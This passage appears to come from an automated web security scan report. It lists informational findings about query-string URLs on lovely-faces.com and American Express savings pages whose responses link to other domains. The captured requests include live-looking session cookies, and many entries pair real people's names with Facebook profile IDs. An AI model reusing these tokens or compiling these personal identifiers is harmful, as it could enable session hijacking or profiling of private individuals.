The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1402080216&Aaron-Woller--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Woller/1402080216

Request

GET /index.php?id_face=1402080216&Aaron-Woller--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Woller/1402080216 target=_new><b>
...[SNIP]...

20.145. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=504697994&v_sex=1&Effie-Chiotis--Mild-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Effie-Chiotis/504697994

Request

GET /index.php?id_face=504697994&v_sex=1&Effie-Chiotis--Mild-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:20 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21544

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Effie-Chiotis/504697994 target=_new><b>
...[SNIP]...

20.146. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=563193254&Aaron-Carpenter--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Carpenter/563193254

Request

GET /index.php?id_face=563193254&Aaron-Carpenter--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:40 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21125

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Carpenter/563193254 target=_new><b>
...[SNIP]...

20.147. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1766762021&Abolfazl-Ahmadian--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abolfazl-Ahmadian/1766762021

Request

GET /index.php?id_face=1766762021&Abolfazl-Ahmadian--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:16 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18464

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abolfazl-Ahmadian/1766762021 target=_new><b>
...[SNIP]...

20.148. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=523842746&Abby-Porr--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abby-Porr/523842746

Request

GET /index.php?id_face=523842746&Abby-Porr--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20228

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abby-Porr/523842746 target=_new><b>
...[SNIP]...

20.149. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1388094172&Abolfazl-Hemmati-Ahooee--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abolfazl-Hemmati-Ahooee/1388094172

Request

GET /index.php?id_face=1388094172&Abolfazl-Hemmati-Ahooee--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19759

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abolfazl-Hemmati-Ahooee/1388094172 target=_new><b>
...[SNIP]...

20.150. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=9205872&v_sex=2&Zsolt-Szeglet--Sly-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Zsolt-Szeglet/9205872

Request

GET /index.php?id_face=9205872&v_sex=2&Zsolt-Szeglet--Sly-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:57:03 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20173

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Zsolt-Szeglet/9205872 target=_new><b>
...[SNIP]...

20.151. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=704820482&A.j.-Miller--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/AJ-Miller/704820482

Request

GET /index.php?id_face=704820482&A.j.-Miller--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:51:39 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19420

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/AJ-Miller/704820482 target=_new><b>
...[SNIP]...

20.152. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=569646898&Aaron-Price--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Price/569646898

Request

GET /index.php?id_face=569646898&Aaron-Price--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Price/569646898 target=_new><b>
...[SNIP]...

20.153. http://mm.chitika.net/track previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mm.chitika.net
Path:	/track

Issue detail

The page was loaded from a URL containing a query string:

http://mm.chitika.net/track?target=http%3A%2F%2F0.r.msn.com%2F%3Fld%3D4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ&xargs=1Owx8oFMt4m2YkqUMiPXwDnPUhRRY7ZEJ9LJTWSrnbZhgBfErhtcKKOiM6mjHeLYQPOhFTlgMiQNUi0Wzinee2B3WGL1cDC9iHCONuiA3%2FJLEbd3x%2FFU5i2%2FejQpwMx5yyDTjsWiUUsISHcBq5Cyt5RwSg5CKdbMkrYy9xwqz2dX1VJJLhn25UnM9r3EOr3kRAA7PYs93YlDtwLI5JLm3nWA7dYYrFPozVln3uSAGFgS4lCNg3xHbrApZyDMytFV2l2C7ULWrmQ1l9bzagD%2FAT68Pby1uNFEA22B%2FM90suzy%2FYjy3MzE23bVmK7lC9jUeyBWeaoqNWxXGRluKS44nJO34%2BrioOQV%2FxSJ%2By45Fo8X%2FyWC5WegF0dVp6w1Bt2lFzVLgvn19KwnF%2BFWR4G6ZhENP1sKJJ8ayL0Tdvc1we8TPqrcCxAlGk5VR%2F94hQcEKqe6WwkOm3ytJOOEop9VFSJq%2FtFSYoywNhWzr%2BIMaHWBqkqSde8xNIVIc5X5QSFeoSqyFJwnv8A%3D&template=v1-450xauto\

The response contains the following link to another domain:

http://0.r.msn.com/?ld=4vRbS86owapl3S39Z4NwMAKr4jyz22X6f5dq3sOZl3K-Tm58oqyL8R5a33jSckizaBNT5cqDC9dLnoaZwTRDOLvCZuP4Hd1tKvEGJ48Yg9ymMJUuchZooEvHE_4jToP11VzLwGkpUJmfw1tzGs_9KHJ_QsGQopcDEBlHJ02toOlMw3OhpT1Sp7-kfL9vx_wVr4rwVXhSB2g9cP7EGt9qNcAk5HUrKtBKDzRN8QhEo47mKLtSbpmbu2KcKS3GNjRKqjDvFQZcDTd5nER86kSK4uM2XjSrFBnsGCZ7NGKSh7ZoQtgERZ8WACUwwwqd-diM7ZNVQJTMGV28mF1YgtRXKVbb_ViygQJmNzPUXkUWKbQX8wNyfrVBB6rZ5hfUNg8ZC5_is4of3on-HJ

Request

Response

20.154. http://personalsavings.americanexpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/?intsearchct=1|680e98c7f29690f8e0bc603b5ff60a27&source=footer_personal_savings

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.adelixir.com/NeROITrack/835/?busassid=835
https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /?intsearchct=1|680e98c7f29690f8e0bc603b5ff60a27&source=footer_personal_savings HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:03 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
</h2>
           <a class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>Home")'>Log In</a>
...[SNIP]...
<li><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

<script src='https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js' type='text/javascript'>
</script>
...[SNIP]...
<noscript>
<img height='1' width='1' border='0' src='https://www.adelixir.com/NeROITrack/835/?busassid=835'>
</noscript>
...[SNIP]...

20.155. http://personalsavings.americanexpress.com/cd-product.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/cd-product.html

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/cd-product.html?inav=ps_CDs

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /cd-product.html?inav=ps_CDs HTTP/1.1
Host: personalsavings.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_vi=[CS]v1|26A5643B851D30BB-60000101A000141F[CE]; SaneID=173.193.214.243-1296742163652146;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:08 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Content-type" conte
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
</h2>
            <a id="loginButton" class="sidebar-login" href="https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066" onclick='omn_rmaction("US:PersSav:Login","View>CDProd")'>Log In</a>
...[SNIP]...
<li class="shove-left"><a href="https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066">Set up online access</a>
...[SNIP]...
<NOSCRIPT>
   <IFRAME SRC="http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?" WIDTH=1 HEIGHT=1 FRAMEBORDER=0></IFRAME>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

20.156. http://personalsavings.americanexpress.com/faq.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/faq.html

Issue detail

The page was loaded from a URL containing a query string:

http://personalsavings.americanexpress.com/faq.html?inav=ps_FAQ

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://www134.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=1?
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.fdic.gov/
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&source=footer_MR
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://cibng.ibanking-services.com/cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066
https://cibng.ibanking-services.com/cib/themes/cib_enroll/enroll/enroll.jsp?FIORG=330&FIFID=124085066
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /faq.html?inav=ps_FAQ HTTP/1.1
